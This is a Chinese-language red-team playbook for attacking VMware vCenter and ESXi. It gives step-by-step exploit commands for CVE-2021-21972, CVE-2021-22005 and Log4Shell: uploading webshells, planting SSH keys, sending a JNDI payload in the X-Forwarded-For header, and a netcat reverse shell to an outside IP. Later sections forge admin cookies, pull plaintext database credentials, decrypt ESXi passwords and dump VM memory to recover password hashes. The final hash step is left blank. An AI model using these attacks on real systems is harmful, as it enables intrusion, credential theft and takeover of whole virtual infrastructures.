红队技术-Vcenter实战利用方式总结
Vcenter利用方式总结
指纹特征
1 | title="+ ID_VC_Welcome +" |
查看Vcenter版本
1 | /sdk/vimServiceVersions.xml |
CVE-2021-21972
1 | /ui/vropspluginui/rest/services/uploadova |
访问上面的路径,如果404,则代表不存在漏洞,如果405 则代表存在漏洞
windows机器:
漏洞利用: https://github.com/horizon3ai/CVE-2021-21972
1 | python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp |
上传后的路径为
1 | https://x.x.x.x/statsreport/gsl.jsp |
完整路径为
1 | C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport |
Linux机器:
1、写公私钥(需要22端口开放)
1 | python CVE-2021-21972.py -t 172.16.64.56 -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub |
2、遍历写shell(时间较久)
https://github.com/NS-Sp4ce/CVE-2021-21972
CVE-2021-22005
影响范围
- vCenter Server 7.0 < 7.0 U2c build-18356314
- vCenter Server 6.7 < 6.7 U3o build-18485166
- Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
- Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
- 6.7 vCenters Windows版本不受影响
漏洞利用:
https://github.com/r0ckysec/CVE-2021-22005
1 | cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell |
https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py
1 | python cve-2021-22005.py -t https://x.x.x.x |
连接webshell
1 | https://x.x.x.x/idm/..;/test.jsp |
上传后的webshell完整路径为
1 | /usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp |
CVE-2021-44228
利用log4j漏洞,漏洞触发点为XFF头部
1 | GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1 |
DNSlog探测漏洞是否存在
1 | X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn} |
使用 JNDIExploit 工具,-u
查看可执行命令
漏洞利用:
1 | java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIP |
cs上线
1 | GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1 |
Linux使用反弹shell命令
1 | nc -e /bin/sh 10.10.10.10 8888 |
弹回来若是非交互式shell没有回显,使用以下命令切换为交互式
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
获取vcenter-web控制台权限
重置密码
比较快的一种方法,但是修改之后无法获取原来的密码,管理员会发现密码被改
选择 3 选项,输入默认 administrator@vsphere.local (需要管理员权限)
1 | #Linux |
cookie登录
通过解密数据库登录获取cookie
,再用cookie登录web
解密脚本:https://github.com/horizon3ai/vcenter_saml_login
1 | python vcenter_saml_login.py -p data.mdb -t 10.9.16.11 |
然后会生成相应的cookie,访问 ui
路径进行 cookie 替换即可
1 | #Linux |
使用小饼干替换cookie,成功登录
windows运行脚本需要安装对应版本的python-ldap
1 | https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1 |
实际测试过程中发现windows的data.mdb文件过大,拉回来不是那么方便,适合Linux机器
这时候如果目标机器上装有python环境,可使用3gstudent师傅的脚本进行利用
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py
1 | python vCenter_ExtraCertFromMdb.py data.mdb |
运行脚本会生成三段证书文件,放置到相应的位置
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py
1 | python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt |
不重置获取密码(ESXI)
查看域
1 | #Linux |
坑点:由于路径中间存在空格,导致识别不了
解决方法:使用双引号对含有空格的路径进行单独处理
1、获取解密key
1 | #Windows |
2、获取数据库账号密码
vcenter默认数据库文件存放在vcdb.properties,配置文件中有数据库的明文账号密码
1 | #Linux |
默认是postgresql数据库,只能在vCenter服务器本地登录,执行语句查询ESXI的密码
1 | #psql默认存放位置 |
在实际情况中也碰到使用 MSSQL 数据库的情况,这时候直接使用 navicat 进行连接,搜索 VPX_HOST
表
3、使用脚本解密
https://github.com/shmilylty/vhost_password_decrypt
password字段放到password.enc里面
symkey.dat为第一步获取的解密key
1 | python decrypt.py symkey.dat password.enc password.txt |
执行脚本后,会输出一个password.txt,里面存放着对应 ip_address 的 ESXI 机器密码
4、登录ESXI
在 ESXI 机器地址后面添加 /ui
,访问web控制台,账密为 vpxuser/password.txt里的密码
解密出来的密码除了可以登录web控制台以外还可以ssh登录机器,不过需要服务里开启 SSH 安全shell
获取虚拟机权限
登录web控制台后,想要获取某个虚拟机的权限,比如说目标系统为靶标
选择目标虚拟机,操作生成快照
到数据存储位置找到相应的快照文件
也可以通过 ssh 登录ESXI服务器上,通过 find 找出相应的 vmem
和 vmsn
文件拷贝到本地
1 | find / -name "*.vmem" |
https://www.volatilityfoundation.org/releases
使用 volatility 工具查看 profile
1 | volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo |
读取注册表
1 | volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist |
获取hash并解出密码
1 |
|